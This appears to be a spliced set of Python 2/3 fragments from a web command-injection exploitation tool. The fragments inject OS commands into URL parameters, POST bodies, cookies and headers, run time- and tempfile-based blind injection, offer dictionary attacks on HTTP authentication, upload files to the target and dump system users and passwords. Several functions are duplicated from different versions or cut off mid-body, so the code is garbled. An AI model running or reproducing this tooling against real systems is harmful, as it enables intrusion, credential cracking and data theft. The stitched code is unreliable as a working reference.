settings.CHOISE_NO: break else: if tmp_upload == "": tmp_upload = "enter" print Back.RED + "(x) Error: '" + tmp_upload + "' is not a valid answer." + Style.RESET_ALL pass continue else: if exit_loops == False: if not menu.options.verbose: if percent == 100: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(percent) + "%" else: percent = str(percent) + "%" sys.stdout.write( "\r(*) Trying to upload the '" + OUTPUT_TEXTFILE + "' on " + SRV_ROOT_DIR + "... [ " + percent + " ]") sys.stdout.flush() continue else: continue else: raise elif e.getcode() == 401: print Back.RED + "(x) Error: Authorization required!" + Style.RESET_ALL + "\n" sys.exit(0) elif e.getcode() == 403: print Back.RED + "(x) Error: You don't have permission to access this page." + Style.RESET_ALL + "\n" sys.exit(0) except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell) raise except urllib2.URLError, e: #print "\n" + Back.RED + "(x) Error: " + str(e.reason) + Style.RESET_ALL sys.exit(0) except: continue
def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): if alter_shell: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.cmd_execution_alter_shell( separator, TAG, cmd) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.cmd_execution(separator, TAG, cmd) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: info_msg = "Executing the '" + cmd + "' command... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)) if settings.VERBOSITY_LEVEL > 1: print "" # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: response = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: response = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: response = referer_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: response = custom_header_injection_test(url, vuln_parameter, payload) else: # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) target = re.sub(settings.INJECT_TAG, payload, url) vuln_parameter = ''.join(vuln_parameter) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Get the response of the request. response = requests.get_request_response(request) else: # Check if defined method is POST. parameter = menu.options.data parameter = urllib2.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) parameter = parameter.replace("+", "%2B") # Define the POST data if settings.IS_JSON == False: data = re.sub(settings.INJECT_TAG, payload, parameter) request = urllib2.Request(url, data) else: payload = payload.replace("\"", "\\\"") data = re.sub(settings.INJECT_TAG, urllib.unquote(payload), parameter) try: data = json.loads(data, strict=False) except: pass request = urllib2.Request(url, json.dumps(data)) # Check if defined extra headers. headers.do_check(request) # Get the response of the request. response = requests.get_request_response(request) return response
def heuristic_basic(url, http_request_method): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping heuristic check for " + technique + "." print(settings.print_debug_msg(debug_msg)) return url else: settings.EVAL_BASED_STATE = True try: try: if re.findall(r"=(.*)&", url): url = url.replace("/&", "/e&") elif re.findall(r"=(.*)&", menu.options.data): menu.options.data = menu.options.data.replace("/&", "/e&") except TypeError as err_msg: pass if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic check for " + technique + "." print(settings.print_debug_msg(debug_msg)) for payload in settings.PHPINFO_CHECK_PAYLOADS: payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for heuristic check." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) if not menu.options.data: request = _urllib.request.Request( url.replace(settings.INJECT_TAG, payload)) else: data = menu.options.data.replace( settings.INJECT_TAG, payload) request = _urllib.request.Request( url, data.encode(settings.UNICODE_ENCODING)) headers.do_check(request) response = requests.get_request_response(request) if type(response) is not bool: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) if match: technique = technique + " (possible PHP version: '" + match.group( 1) + "')" settings.IDENTIFIED_PHPINFO = True else: for warning in settings.CODE_INJECTION_WARNINGS: if warning in html_data: settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: info_msg = "Heuristic check shows that target might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break settings.EVAL_BASED_STATE = False return url except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit()
def main(): try: # Checkall the banner menu.banner() # Check python version number. version.python_version() # Check if defined "--version" option. if menu.options.version: version.show_version() sys.exit(0) # Check if defined "--update" option. if menu.options.update: update.updater() sys.exit(0) # Check if defined "--install" option. if menu.options.install: install.installer() sys.exit(0) # Check arguments if len(sys.argv) == 1: menu.parser.print_help() print "" sys.exit(0) # Check if defined character used for splitting parameter values. if menu.options.pdel: settings.PARAMETER_DELIMITER = menu.options.pdel # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False # Convert injection technique(s) to lowercase menu.options.tech = menu.options.tech.lower() # Check if used the ',' separator if "," in menu.options.tech: split_techniques_names = menu.options.tech.split(",") else: split_techniques_names = menu.options.tech.split() if split_techniques_names: for i in range(0,len(split_techniques_names)): if len(menu.options.tech) <= 4: split_first_letter = list(menu.options.tech) for j in range(0,len(split_first_letter)): if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES: found_tech = True if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and found_tech == False: print Back.RED + "(x) Error: You specified wrong '" + split_techniques_names[i] + "' injection technique." + Style.RESET_ALL print Back.RED + "(x) The available techniques are: classic,eval-based,time-based,file-based or c,e,t,f (with or without commas)." + Style.RESET_ALL sys.exit(0) # Cookie Injection if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: settings.COOKIE_INJECTION = True # User-Agent Injection if menu.options.agent and settings.INJECT_TAG in menu.options.agent: settings.USER_AGENT_INJECTION = True # Referer Injection if menu.options.referer and settings.INJECT_TAG in menu.options.referer: settings.REFERER_INJECTION = True # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: print Back.RED + "(x) Error: '" + menu.options.alter_shell + "' shell is not supported!" + Style.RESET_ALL sys.exit(0) # Check if defined "--file-upload" option. if menu.options.file_upload: # Check if not defined URL for upload. if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): sys.stdout.write(Back.RED + "(x) Error: The '"+ menu.options.file_upload + "' is not a valid URL. " + Style.RESET_ALL + "\n") sys.stdout.flush() sys.exit(0) # Check if specified file-access options # Check if not defined "--file-dest" option. if menu.options.file_dest == None: # Check if defined "--file-write" option. if menu.options.file_write: file_name = os.path.split(menu.options.file_write)[1] menu.options.file_dest = settings.SRV_ROOT_DIR + file_name # Check if defined "--file-upload" option. if menu.options.file_upload: file_name = os.path.split(menu.options.file_upload)[1] menu.options.file_dest = settings.SRV_ROOT_DIR + file_name elif menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None : print Back.RED + "(x) Error: You must enter the '--file-write' or '--file-upload' parameter." + Style.RESET_ALL sys.exit(0) # Check if defined "--random-agent" option. if menu.options.random_agent: menu.options.agent = random.choice(settings.USER_AGENT_LIST) # Check if defined "--url" option. if menu.options.url: sys.stdout.write("(*) Checking connection to the target URL... ") sys.stdout.flush() url = menu.options.url # If URL not starts with any URI scheme, add "http://" if not urlparse.urlparse(url).scheme: url = "http://" + url if menu.options.output_dir: output_dir = menu.options.output_dir else: output_dir = settings.OUTPUT_DIR dir = os.path.dirname(output_dir) try: os.stat(output_dir) except: os.mkdir(output_dir) # The logs filename construction. filename = logs.create_log_file(url, output_dir) try: request = urllib2.Request(url) # Check if defined extra headers. headers.do_check(request) response = urllib2.urlopen(request) html_data = response.read() content = response.read() print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" # Charset detection [1]. # [1] http://www.w3schools.com/html/html_charset.asp # Check if HTML4 format content = re.findall(r";charset=(.*)\"", html_data) if len(content) != 0 : charset = content else: # Check if HTML5 format charset = re.findall(r"charset=['\"](.*)['\"]", html_data) if len(charset) != 0 : settings.CHARSET = charset[len(charset)-1] if settings.CHARSET.lower() not in settings.CHARSET_LIST: print Fore.YELLOW + "(^) Warning: The indicated web-page charset '" + settings.CHARSET + "' seems unknown." + Style.RESET_ALL else: if menu.options.verbose: print "(*) The indicated web-page charset is '" + settings.CHARSET + "'." # Check if defined "--tor" option. if menu.options.tor: tor.do_check() except urllib2.HTTPError, e: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" # Check the codes of responses if e.getcode() == 500: content = e.read() sys.exit(0) elif e.getcode() == 401: if menu.options.auth_type != "basic": print Back.RED + "(x) Error: Only 'Basic' Access Authentication is supported." + Style.RESET_ALL sys.exit(0) else: print Back.RED + "(x) Error: Authorization required!" + Style.RESET_ALL + "\n" sys.exit(0) elif e.getcode() == 403: print Back.RED + "(x) Error: You don't have permission to access this page." + Style.RESET_ALL + "\n" sys.exit(0) elif e.getcode() == 404: print Back.RED + "(x) Error: The host seems to be down!" + Style.RESET_ALL + "\n" sys.exit(0) else: raise except urllib2.URLError, e: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" print Back.RED + "(x) Error: The host seems to be down!" + Style.RESET_ALL + "\n" sys.exit(0)
def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): if alter_shell: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.cmd_execution_alter_shell( separator, TAG, cmd) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.cmd_execution(separator, TAG, cmd) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: info_msg = "Executing the '" + cmd + "' command... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: response = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: response = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: response = referer_injection_test(url, vuln_parameter, payload) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: response = host_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: response = custom_header_injection_test(url, vuln_parameter, payload) else: # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) target = url.replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) # Get the response of the request. response = requests.get_request_response(request) else: # Check if defined method is POST. parameter = menu.options.data parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) parameter = ''.join(str(e) for e in parameter).replace("+", "%2B") # Define the POST data if settings.IS_JSON: data = parameter.replace( settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) request = _urllib.request.Request( url, data.encode(settings.UNICODE_ENCODING)) # Check if defined extra headers. headers.do_check(request) # Get the response of the request. response = requests.get_request_response(request) return response
def main(): try: #Call the banner menu.banner() # Check python version number. version.python_version() #Check if defined "--version" option. if menu.options.version: version.show_version() sys.exit(0) #Check if defined "--update" option. if menu.options.update: update.updater() sys.exit(0) #Check if defined "--install" option. if menu.options.install: install.installer() sys.exit(0) # Check arguments if len(sys.argv) == 1: menu.parser.print_help() print "" sys.exit(0) #Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: print colors.BGRED + "(x) Error: Specified wrong injection technique!" + colors.RESET sys.exit(0) #Check if defined "--random-agent" option. if menu.options.random_agent: menu.options.agent = random.choice(settings.USER_AGENT_LIST) #Check if defined "--url" option. if menu.options.url: sys.stdout.write(colors.BOLD +"(*) Checking connection to the target URL... " + colors.RESET) sys.stdout.flush() url = menu.options.url # If URL not starts with any URI scheme, add "http://" if not urlparse.urlparse(url).scheme: url = "http://" + url try: request = urllib2.Request(url) #Check if defined extra headers. headers.do_check(request) #print request.headers response = urllib2.urlopen(request) content = response.read() print "[ " + colors.GREEN + "SUCCEED" + colors.RESET + " ]" except urllib2.HTTPError, e: print "[ " + colors.RED + "FAILED" + colors.RESET + " ]" if e.getcode() == 500: content = e.read() sys.exit(0) elif e.getcode() == 401: print colors.BGRED + "(x) Error: Authorization required!" + colors.RESET + "\n" sys.exit(0) elif e.getcode() == 403: print colors.BGRED + "(x) Error: You don't have permission to access this page." + colors.RESET + "\n" sys.exit(0) elif e.getcode() == 404: print colors.BGRED + "(x) Error: The host seems to be down!" + colors.RESET + "\n" sys.exit(0) else: raise except urllib2.URLError, e: print "[ " + colors.RED + "FAILED" + colors.RESET + " ]" print colors.BGRED + "(x) Error: The host seems to be down!" + colors.RESET + "\n" sys.exit(0)
raise SystemExit() # Check if defined method is POST. else: parameter = menu.options.data parameter = urllib2.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) # Define the POST data data = re.sub(settings.INJECT_TAG, payload, parameter) request = urllib2.Request(url, data) # Check if defined extra headers. headers.do_check(request) # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err: print "\n" + Back.RED + "(x) Error : " + str( err) + Style.RESET_ALL raise SystemExit() # Check if defined Tor. elif menu.options.tor:
def estimate_response_time(url, timesec): stored_auth_creds = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Estimating the target URL response time... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: url = parameters.get_url_part(url) request = urllib2.Request(url) headers.do_check(request) start = time.time() try: response = urllib2.urlopen(request) response.read(1) response.close() # except urllib2.HTTPError, err: # pass except urllib2.HTTPError, err: ignore_start = time.time() if "Unauthorized" in str(err) and menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: pass else: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "Unable to connect to the target URL" try: err_msg += " (" + str(err.args[0]).split("] ")[1] + ")." except IndexError: err_msg += " (" + str(err) + ")." print settings.print_critical_msg(err_msg) # Check for HTTP Error 401 (Unauthorized). if str(err.getcode()) == settings.UNAUTHORIZED_ERROR: try: # Get the auth header value auth_line = err.headers.get('www-authenticate', '') # Checking for authentication type name. auth_type = auth_line.split()[0] settings.SUPPORTED_HTTP_AUTH_TYPES.index(auth_type.lower()) # Checking for the realm attribute. try: auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups() realm = auth_obj[1].split(',')[0].replace("\"", "") except: realm = False except ValueError: err_msg = "The identified HTTP authentication type (" + str(auth_type) + ") " err_msg += "is not yet supported." print settings.print_critical_msg(err_msg) + "\n" raise SystemExit() except IndexError: err_msg = "The provided pair of " + str(menu.options.auth_type) err_msg += " HTTP authentication credentials '" + str(menu.options.auth_cred) + "'" err_msg += " seems to be invalid." print settings.print_critical_msg(err_msg) raise SystemExit() if menu.options.auth_type and menu.options.auth_type != auth_type.lower(): if checks.identified_http_auth_type(auth_type): menu.options.auth_type = auth_type.lower() else: menu.options.auth_type = auth_type.lower() # Check for stored auth credentials. if not menu.options.auth_cred: try: stored_auth_creds = session_handler.export_valid_credentials(url, auth_type.lower()) except: stored_auth_creds = False if stored_auth_creds: menu.options.auth_cred = stored_auth_creds success_msg = "Identified a valid (stored) pair of credentials '" success_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." print settings.print_success_msg(success_msg) else: # Basic authentication if menu.options.auth_type == "basic": if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: warn_msg = "(" + menu.options.auth_type.capitalize() + ") " warn_msg += "HTTP authentication credentials are required." print settings.print_warning_msg(warn_msg) while True: if not menu.options.batch: question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) do_update = sys.stdin.readline().replace("\n","").lower() else: do_update = "" if len(do_update) == 0: do_update = "y" if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: raise SystemExit() elif do_update in settings.CHOICE_NO: checks.http_auth_err_msg() elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + do_update + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # Digest authentication elif menu.options.auth_type == "digest": if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: warn_msg = "(" + menu.options.auth_type.capitalize() + ") " warn_msg += "HTTP authentication credentials are required." print settings.print_warning_msg(warn_msg) # Check if heuristics have failed to identify the realm attribute. if not realm: warn_msg = "Heuristics have failed to identify the realm attribute." print settings.print_warning_msg(warn_msg) while True: if not menu.options.batch: question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) do_update = sys.stdin.readline().replace("\n","").lower() else: do_update = "" if len(do_update) == 0: do_update = "y" if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: raise SystemExit() elif do_update in settings.CHOICE_NO: checks.http_auth_err_msg() elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + do_update + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: checks.http_auth_err_msg() else: pass ignore_end = time.time() start = start - (ignore_start - ignore_end)
def injection(separator, maxlen, TAG, cmd, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell): if menu.options.file_write or menu.options.file_upload: minlen = 0 else: minlen = 1 found_chars = False sys.stdout.write("\n(*) Retrieving the length of execution output... ") sys.stdout.flush() for output_length in range(int(minlen), int(maxlen)): # Execute shell commands on vulnerable host. if not alter_shell: payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, delay, http_request_method) else: payload = tfb_payloads.cmd_execution_alter_shell( separator, cmd, output_length, OUTPUT_TEXTFILE, delay, http_request_method) # Check if defined "--verbose" option. if menu.options.verbose: sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL) if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: how_long = cookie_injection_test(url, vuln_parameter, payload) else: start = 0 end = 0 start = time.time() # Check if defined method is GET (Default). if http_request_method == "GET": payload = urllib.quote(payload) # Check if its not specified the 'INJECT_HERE' tag url = parameters.do_GET_check(url) target = re.sub(settings.INJECT_TAG, payload, url) vuln_parameter = ''.join(vuln_parameter) #print target request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err: print "\n" + Back.RED + "(x) Error : " + str( err) + Style.RESET_ALL raise SystemExit() # Check if defined Tor. elif menu.options.tor: try: response = tor.use_tor(request) except urllib2.HTTPError, err: print "\n" + Back.RED + "(x) Error : " + str( err) + Style.RESET_ALL raise SystemExit() else: try: response = urllib2.urlopen(request) except urllib2.HTTPError, err: print "\n" + Back.RED + "(x) Error : " + str( err) + Style.RESET_ALL raise SystemExit()
def main(filename, url): try: # Ignore the mathematic calculation part (Detection phase). if menu.options.skip_calc: settings.SKIP_CALC = True # Target URL reload. if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True # Check provided parameters for tests if menu.options.test_parameter: if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[1:] settings.TEST_PARAMETER = menu.options.test_parameter.split( settings.PARAMETER_SPLITTING_REGEX) for i in range(0, len(settings.TEST_PARAMETER)): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[ i].split("=")[0] # Check if defined character used for splitting parameter values. if menu.options.pdel: settings.PARAMETER_DELIMITER = menu.options.pdel # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False # Convert injection technique(s) to lowercase menu.options.tech = menu.options.tech.lower() # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: split_techniques_names = menu.options.tech.split( settings.PARAMETER_SPLITTING_REGEX) else: split_techniques_names = menu.options.tech.split() if split_techniques_names: for i in range(0, len(split_techniques_names)): if len(menu.options.tech) <= 4: split_first_letter = list(menu.options.tech) for j in range(0, len(split_first_letter)): if split_first_letter[ j] in settings.AVAILABLE_TECHNIQUES: found_tech = True else: found_tech = False if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ found_tech == False: err_msg = "You specified wrong value '" + split_techniques_names[ i] err_msg += "' as injection technique. " err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, " err_msg += "(T)ime-based, (F)ile-based (with or without commas)." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower( ) not in settings.AVAILABLE_SHELLS: err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" print settings.print_critical_msg(err_msg) sys.exit(0) # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)." print settings.print_critical_msg(err_msg) sys.exit(0) if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: err_msg = "You must enter the '--file-write' or '--file-upload' parameter." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if defined "--random-agent" option. if menu.options.random_agent: menu.options.agent = random.choice(settings.USER_AGENT_LIST) # Check if defined "--url" or "-m" option. if url: # Check if http / https url = checks.check_http_s(url) # Load the crawler if menu.options.crawldepth > 0 or menu.options.sitemap_url: if menu.options.crawldepth > 0: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = menu.options.crawldepth else: if menu.options.sitemap_url: while True: if not menu.options.batch: question_msg = "Do you want to change the crawling depth level? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) change_depth_level = sys.stdin.readline( ).replace("\n", "").lower() else: change_depth_level = "" if len(change_depth_level) == 0: change_depth_level = "y" if change_depth_level in settings.CHOICE_YES or change_depth_level in settings.CHOICE_NO: break elif change_depth_level in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + change_depth_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # Change the crawling depth level. if change_depth_level in settings.CHOICE_YES: while True: question_msg = "Please enter the crawling depth level (1-2) > " sys.stdout.write( settings.print_question_msg(question_msg)) depth_level = sys.stdin.readline().replace( "\n", "").lower() if int(depth_level) >= 3: err_msg = "Depth level '" + depth_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = depth_level break # Crawl the url. url = crawler.crawler(url) try: # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) headers.do_check(request) #headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.do_check(url) # Check if defined Tor (--tor option). elif menu.options.tor: tor.do_check() if menu.options.flush_session: session_handler.flush(url) info_msg = "Checking connection to the target URL... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 2: print "" headers.check_http_traffic(request) try: # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: response = tor.use_tor(request) else: try: response = urllib2.urlopen(request) except ValueError: # Invalid format for the '--headers' option. if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' " err_msg += "to provide an HTTP header or" err_msg += " '--headers=\"HEADER_NAME:" + settings.WILDCARD_CHAR + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." print settings.print_critical_msg(err_msg) sys.exit(0) except urllib2.HTTPError, e: if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = str(e).replace(": ", " (") + ")." print settings.print_critical_msg(err_msg) raise SystemExit html_data = content = response.read() if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" # Check for CGI scripts on url checks.check_CGI_scripts(url) # Modification on payload if not menu.options.shellshock: #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")" settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" # Check if defined "--file-upload" option. if menu.options.file_upload: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): # Check if not defined URL for upload. while True: if not menu.options.batch: question_msg = "Do you want to enable an HTTP server? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) enable_HTTP_server = sys.stdin.readline( ).replace("\n", "").lower() else: enable_HTTP_server == "" if len(enable_HTTP_server) == 0: enable_HTTP_server = "y" if enable_HTTP_server in settings.CHOICE_YES: # Check if file exists if not os.path.isfile( menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exists." sys.stdout.write( settings.print_critical_msg(err_msg) + "\n") sys.exit(0) if settings.LOCAL_HTTP_IP == None: while True: question_msg = "Please enter your interface IP address > " sys.stdout.write( settings.print_question_msg( question_msg)) ip_addr = sys.stdin.readline().replace( "\n", "").lower() # check if IP address is valid ip_check = simple_http_server.is_valid_ipv4( ip_addr) if ip_check == False: err_msg = "The provided IP address seems not valid." print settings.print_error_msg( err_msg) pass else: settings.LOCAL_HTTP_IP = ip_addr break http_server = "http://" + str( settings.LOCAL_HTTP_IP) + ":" + str( settings.LOCAL_HTTP_PORT) + "/" info_msg = "Setting the HTTP server on '" + http_server + "'. " print settings.print_info_msg(info_msg) menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() break elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " print settings.print_critical_msg(err_msg) sys.exit(0) break elif enable_HTTP_server in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enable_HTTP_server + "' is not a valid answer." print settings.print_error_msg(err_msg) pass try: urllib2.urlopen(menu.options.file_upload) except urllib2.HTTPError, err_msg: print settings.print_critical_msg(str(err_msg.code)) sys.exit(0) except urllib2.URLError, err_msg: print settings.print_critical_msg( str(err_msg.args[0]).split("] ")[1] + ".") sys.exit(0)
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method): counter = 1 vp_flag = True no_result = True is_encoded = False fixation = False export_injection_info = False injection_type = "Semiblind-based Command Injection" technique = "tempfile-based injection technique" # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = menu.options.maxlen # Check if defined "--url-reload" option. if menu.options.url_reload == True: print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL num_of_chars = 0 # Calculate all possible combinations total = len(settings.SEPARATORS) # Estimating the response time (in seconds) request = urllib2.Request(url) headers.do_check(request) start = time.time() response = urllib2.urlopen(request) response.read(1) response.close() end = time.time() diff = end - start url_time_response = int(diff) if url_time_response != 0 : print Style.BRIGHT + "(!) The estimated response time is " + str(url_time_response) + " second" + "s"[url_time_response == 1:] + "." + Style.RESET_ALL delay = int(delay) + int(url_time_response) for separator in settings.SEPARATORS: num_of_chars = num_of_chars + 1 # Change TAG on every request to prevent false-positive resutls. TAG = ''.join(random.choice(string.ascii_uppercase) for 